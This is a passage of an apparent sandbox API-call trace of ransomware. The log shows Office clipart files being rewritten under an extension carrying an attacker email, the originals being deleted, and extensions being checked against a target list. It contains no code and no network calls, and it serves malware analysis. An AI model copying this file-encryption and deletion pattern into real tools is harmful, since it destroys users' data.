WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0310.162] SetEndOfFile (hFile=0x348) returned 1 [0310.162] CloseHandle (hObject=0x348) returned 1 [0310.162] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.163] SetEndOfFile (hFile=0x338) returned 1 [0310.164] CloseHandle (hObject=0x338) returned 1 [0310.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0310.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0310.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0310.168] lstrlenW (lpString=".doc") returned 4 [0310.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.169] lstrlenW (lpString=".docx") returned 5 [0310.169] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0310.169] lstrlenW (lpString=".pdf") returned 4 [0310.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.169] lstrlenW (lpString=".xls") returned 4 [0310.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.169] lstrlenW (lpString=".xlsx") returned 5 [0310.169] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0310.169] lstrlenW (lpString=".ppt") returned 4 [0310.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0310.169] lstrlenW (lpString=".zip") returned 4 [0310.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.169] lstrlenW (lpString=".rar") returned 4 [0310.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.169] lstrlenW (lpString=".bz2") returned 4 [0310.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.169] lstrlenW (lpString=".7z") returned 3 [0310.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0310.169] lstrlenW (lpString=".dbf") returned 4 [0310.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0310.169] lstrlenW (lpString=".1cd") returned 4 [0310.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68 [0310.170] lstrlenW (lpString=".jpg") returned 4 [0310.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.174] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.174] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0310.175] GetLastError () returned 0x0 [0310.175] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x13d4, lpOverlapped=0x0) returned 1 [0310.187] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x13e0, lpOverlapped=0x0) returned 1 [0310.188] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0310.188] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0310.189] SetEndOfFile (hFile=0x348) returned 1 [0310.189] CloseHandle (hObject=0x348) returned 1 [0310.189] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.189] SetEndOfFile (hFile=0x338) returned 1 [0310.190] CloseHandle (hObject=0x338) returned 1 [0310.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0310.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0310.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0310.200] lstrlenW (lpString=".doc") returned 4 [0310.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.200] lstrlenW (lpString=".docx") returned 5 [0310.200] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0310.200] lstrlenW (lpString=".pdf") returned 4 [0310.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.200] lstrlenW (lpString=".xls") returned 4 [0310.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.200] lstrlenW (lpString=".xlsx") returned 5 [0310.200] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0310.200] lstrlenW (lpString=".ppt") returned 4 [0310.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0310.200] lstrlenW (lpString=".zip") returned 4 [0310.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.200] lstrlenW (lpString=".rar") returned 4 [0310.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.200] lstrlenW (lpString=".bz2") returned 4 [0310.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.201] lstrlenW (lpString=".7z") returned 3 [0310.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0310.201] lstrlenW (lpString=".dbf") returned 4 [0310.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0310.201] lstrlenW (lpString=".1cd") returned 4 [0310.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0310.201] lstrlenW (lpString=".jpg") returned 4 [0310.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.216] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.216] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0310.307] GetLastError () returned 0x0 [0310.307] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1f1c, lpOverlapped=0x0) returned 1 [0310.319] WriteFile (in: hFile=0x384, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1f20, lpOverlapped=0x0) returned 1 [0310.327] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0310.327] WriteFile (in: hFile=0x384, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0310.327] SetEndOfFile (hFile=0x384) returned 1 [0310.327] CloseHandle (hObject=0x384) returned 1 [0310.329] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.329] SetEndOfFile (hFile=0x324) returned 1 [0310.331] CloseHandle (hObject=0x324) returned 1 [0310.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0310.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0310.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0310.334] lstrlenW (lpString=".doc") returned 4 [0310.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.335] lstrlenW (lpString=".docx") returned 5 [0310.335] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0310.335] lstrlenW (lpString=".pdf") returned 4 [0310.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.335] lstrlenW (lpString=".xls") returned 4 [0310.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.335] lstrlenW (lpString=".xlsx") returned 5 [0310.335] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0310.335] lstrlenW (lpString=".ppt") returned 4 [0310.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0310.335] lstrlenW (lpString=".zip") returned 4 [0310.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.335] lstrlenW (lpString=".rar") returned 4 [0310.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.335] lstrlenW (lpString=".bz2") returned 4 [0310.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.335] lstrlenW (lpString=".7z") returned 3 [0310.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0310.335] lstrlenW (lpString=".dbf") returned 4 [0310.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0310.335] lstrlenW (lpString=".1cd") returned 4 [0310.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68 [0310.335] lstrlenW (lpString=".jpg") returned 4 [0310.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.349] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.349] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0310.354] GetLastError () returned 0x0 [0310.354] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1374, lpOverlapped=0x0) returned 1 [0310.378] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1380, lpOverlapped=0x0) returned 1 [0310.379] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0310.379] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0310.379] SetEndOfFile (hFile=0x34c) returned 1 [0310.380] CloseHandle (hObject=0x34c) returned 1 [0310.380] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.380] SetEndOfFile (hFile=0x324) returned 1 [0310.381] CloseHandle (hObject=0x324) returned 1 [0310.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 1 [0310.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0310.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0310.382] lstrlenW (lpString=".doc") returned 4 [0310.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.382] lstrlenW (lpString=".docx") returned 5 [0310.382] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0310.382] lstrlenW (lpString=".pdf") returned 4 [0310.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.382] lstrlenW (lpString=".xls") returned 4 [0310.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.382] lstrlenW (lpString=".xlsx") returned 5 [0310.382] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0310.382] lstrlenW (lpString=".ppt") returned 4 [0310.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0310.382] lstrlenW (lpString=".zip") returned 4 [0310.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.382] lstrlenW (lpString=".rar") returned 4 [0310.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.383] lstrlenW (lpString=".bz2") returned 4 [0310.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.383] lstrlenW (lpString=".7z") returned 3 [0310.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0310.383] lstrlenW (lpString=".dbf") returned 4 [0310.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0310.383] lstrlenW (lpString=".1cd") returned 4 [0310.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0310.383] lstrlenW (lpString=".jpg") returned 4 [0310.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.392] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.392] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0310.395] GetLastError () returned 0x0 [0310.395] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1acc, lpOverlapped=0x0) returned 1 [0310.403] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0310.404] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0310.404] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0310.404] SetEndOfFile (hFile=0x37c) returned 1 [0310.405] CloseHandle (hObject=0x37c) returned 1 [0310.405] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.405] SetEndOfFile (hFile=0x318) returned 1 [0310.406] CloseHandle (hObject=0x318) returned 1 [0310.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 1 [0310.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0310.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0310.407] lstrlenW (lpString=".doc") returned 4 [0310.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.407] lstrlenW (lpString=".docx") returned 5 [0310.407] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0310.407] lstrlenW (lpString=".pdf") returned 4 [0310.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.407] lstrlenW (lpString=".xls") returned 4 [0310.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.407] lstrlenW (lpString=".xlsx") returned 5 [0310.407] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0310.407] lstrlenW (lpString=".ppt") returned 4 [0310.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0310.407] lstrlenW (lpString=".zip") returned 4 [0310.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.407] lstrlenW (lpString=".rar") returned 4 [0310.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.408] lstrlenW (lpString=".bz2") returned 4 [0310.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.408] lstrlenW (lpString=".7z") returned 3 [0310.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0310.408] lstrlenW (lpString=".dbf") returned 4 [0310.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0310.408] lstrlenW (lpString=".1cd") returned 4 [0310.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0310.408] lstrlenW (lpString=".jpg") returned 4 [0310.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.408] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.409] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0310.409] GetLastError () returned 0x0 [0310.410] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1068, lpOverlapped=0x0) returned 1 [0310.431] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1070, lpOverlapped=0x0) returned 1 [0310.432] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0310.432] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0310.432] SetEndOfFile (hFile=0x37c) returned 1 [0310.432] CloseHandle (hObject=0x37c) returned 1 [0310.432] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.432] SetEndOfFile (hFile=0x318) returned 1 [0310.433] CloseHandle (hObject=0x318) returned 1 [0310.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 1 [0310.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0310.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0310.434] lstrlenW (lpString=".doc") returned 4 [0310.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.434] lstrlenW (lpString=".docx") returned 5 [0310.434] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0310.434] lstrlenW (lpString=".pdf") returned 4 [0310.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.435] lstrlenW (lpString=".xls") returned 4 [0310.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.435] lstrlenW (lpString=".xlsx") returned 5 [0310.435] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0310.435] lstrlenW (lpString=".ppt") returned 4 [0310.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0310.435] lstrlenW (lpString=".zip") returned 4 